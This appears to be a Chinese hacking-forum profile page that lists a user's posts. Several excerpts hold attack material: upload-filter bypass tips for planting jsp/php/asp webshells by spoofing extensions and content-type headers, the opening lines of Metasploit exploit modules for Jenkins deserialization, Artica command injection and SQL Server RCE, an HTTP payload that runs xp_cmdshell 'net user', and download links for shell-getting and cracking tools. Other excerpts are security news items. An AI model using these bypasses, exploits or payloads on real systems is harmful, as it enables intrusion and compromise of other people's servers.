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This Xday

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This Xday last won the day on January 5

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  1. 常见校验上传文件方法 客户端校验 通过javascript来校验上传文件的后缀是否合法,可以采用白名单,也可以采用黑名单的方式 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。 绕过 直接修改js代码或者使用抓包的方法修改请求内容绕过,可以先上传一个gif木马,通过抓包修改为 jsp/php/asp,只用这种方法来检测是肯定可以绕过的 服务端校验 1.校验请求头 content-type字段 if($_FILES['userfile']['type'] != "image/gif"){ .... } 绕过 通过抓包来修改Http头的content-type即可绕过,也肯定是可以绕过这种检测 2.文件头白名单的检测 常见的文件头(文件头标志位)如下 (1).JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00) (2).gif,”GIF89A”(474946383961) (3).zip,”ZipCompressed”(504B0304) (4).doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocume
  2. 前言 2020年3月,微软公布了一个本地提权漏洞CVE-2020-0787,根据微软的漏洞描述声称,攻击者在使用低权限用户登录系统后,可以利用该漏洞构造恶意程序直接提权到administrator或者system权限。 Background Intelligent Transfer Service(BITS)是其中的一个后台智能传输服务组件。BITS中存在提权漏洞,该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件,提升权限。 影响版本 Win7-Win10/2008-2019 Microsoft Windows 7 SP1, Windows 8.1, Windows RT 8.1, Windows 10, Windows 10版本1607, Windows 10版本1709, Windows 10版本1803, Windows 10版本1809, Windows 10版本1903, Windows 10版本1909, Windows Server 2008 SP2, Windows Server 2008 R2 SP1, Windows Server 2012, Wi
  3. The US Federal Bureau of Investigation (FBI) and Interpol have allegedly seized proxy servers used in connection with Blockchain-based domains belonging to Joker's Stash, a notorious fraud bazaar known for selling compromised payment card data in underground forums. The takedown happened last week on December 17. The operators of Joker's Stash operate several versions of the platform, including Blockchain proxy server domains — .bazar, .lib, .emc, and .coin — that are responsible for redirecting users to the actual website and two other Tor (.onion) variants.
  4. The US Cybersecurity Infrastructure and Security Agency (CISA) has warned of critical vulnerabilities in a low-level TCP/IP software library developed by Treck that, if weaponized, could allow remote attackers to run arbitrary commands and mount denial-of-service (DoS) attacks. The four flaws affect Treck TCP/IP stack version 6.0.1.67 and earlier and were reported to the company by Intel. Two of these are rated critical in severity. Treck's embedded TCP/IP stack is deployed worldwide in manufacturing, information technology, healthcare, and transportation systems.
  5. There was a weird bug in the DotNet Core Toolset installer that allowed any local user to elevate their privileges to SYSTEM. In this blog post, I want to share the details of this bug that was silently (but only partially) fixed despite not being acknowledged as a vulnerability by Microsoft. Introduction In March 2020, jonaslyk told me about a weird bug he encountered on his personal computer. The SYSTEM’s PATH environment variable was populated with a path that was seemingly related to DotNet. The weird thing was that this path pointed to a non-admin user folder. So, I checked on my
  6. Jenkins 2.56及更低版本的CLI组件中存在未经身份验证的Java对象反序列化漏洞。Jenkins CLI远程处理组件中Command类中的readFrom方法反序列化从客户端接收的对象,而无需先检查/清理数据。因此,可以将包含在序列化SignedObject中的恶意序列化对象发送到Jenkins端点,以在目标上执行代码。 ##<font></font> # This module requires Metasploit: https://metasploit.com/download<font></font> # Current source: https://github.com/rapid7/metasploit-framework<font></font> ##<font></font> <font></font> class MetasploitModule < Msf::Exploit::Remote<font></font> Rank = ExcellentRanking<font></font> <
  7. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in Artica Proxy, combin
  8. # Exploit Title: Microsoft SQL Server Reporting Services 2016 - Remote Code Execution # Google Dork: inurl:ReportViewer.aspx # Exploit Author: West Shepherd # Vendor Homepage: https://www.microsoft.com # Version: Microsoft SQL Server 2016 32-bit/x64 SP2 (CU/GDR), Microsoft SQL Server 2014 32-bit/x64 SP3 (CU/GDR), Microsoft SQL Server 2012 32-bit/x64 SP2 (QFE) # Tested on: Windows 2016 # CVE : CVE-2020-0618 # Credit goes to Soroush Dalili # Source: # https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618 # https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server
  9. <!-- wp:paragraph --> <p>`POST /Proxy HTTP/1.1<br>Accept: Accept:&nbsp;<em>/</em><br>Content-Type: application/x-www-form-urlencoded<br>User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)<br>Host: host<br>Content-Length: 357<br>Connection: Keep-Alive<br>Cache-Control: no-cache</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>cVer=9.8.0&amp;dp=&lt;?xml version="1.0" encoding="GB2312"?&gt;XMLAS_DataRequestProviderNameDataSetProviderDataDataexec xp_cmdshell ‘net user’`</p> <!-- /wp:p
  10. V1.75 1.修复找回密码防御 2.修改个别页面样式 3.增加易支付对接内测 4.修复个别BUG 7.内测轮训功能 8.增加套餐详细显示 点击此处下载
  11. 导语:黑客不断使用和改进DDoS攻击来破坏特定服务、大小型企业甚至公共和非营利组织的工作。 想象一下有人使用不同的电话号码一遍又一遍地打电话给你,而你也无法将他们列入黑名单。最终你可能会选择关闭手机,从而避免骚扰。这个场景就是常见的分布式拒绝服务(DDoS)攻击的样子。 乔布斯(Steve Jobs)推出第一款iPhone之前,DDoS攻击就已经存在了。它们非常受黑客欢迎,因为它们非常有效,易于启动,并且几乎不会留下痕迹。那么如何防御DDoS攻击呢?你能否确保对你的web服务器和应用程序提供高级别的DDoS攻击防护?在本文中,我们将讨论如何防止DDoS攻击,并将介绍一些特定的DDoS保护和预防技术。 DDoS攻击的类型和方法 分布式拒绝服务攻击(简称DDoS)是一种协同攻击,旨在使受害者的资源无法使用。它可以由一个黑客组织协同行动,也可以借助连接到互联网的多个受破坏设备来执行。这些在攻击者控制下的设备通常称为僵尸网络。 有多种执行DDoS攻击的工具:例如Trinoo,Stacheldraht,Shaft,Knight,Mstream等。这些工具的可用性是DDoS攻击如此广泛和流行的原因之一。 DDoS攻击可以持续数百小时 DDoS攻击可能持续几分钟、几小时、甚至是几天。卡巴斯基实验室的
  12. 初步学习的可以用此工具获取shell以此研究. 链接:https://pan.baidu.com/s/159riWjBYGP02DixjrfD2YA 提取码:9m4m
  13. 用过一两次,破解还行。 下载链接: 链接:https://pan.baidu.com/s/1fSUMlkHujfUsEgRe-WW9qg 提取码:t8im
  14. 带VN版本 下载链接: 链接:https://pan.baidu.com/s/12utUk3d5iqEXIVD27bOrUA 提取码:2cs9 复制这段内容后打开百度网盘手机App,操作更方便哦

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声明:为净化国内外网络安全请勿发布违反国家国定的文章,团队不参与任何涉及黑色产业/攻击/渗透各国正规网站活动,只做网络安全研究,研究网络攻防技术。

世界中文黑客论坛由CNHACKTEAM(CHT)创建,汇集国内外技术人员,这是一群研究网络安全、黑客攻防技术领域的专家,你也可以加入我们!

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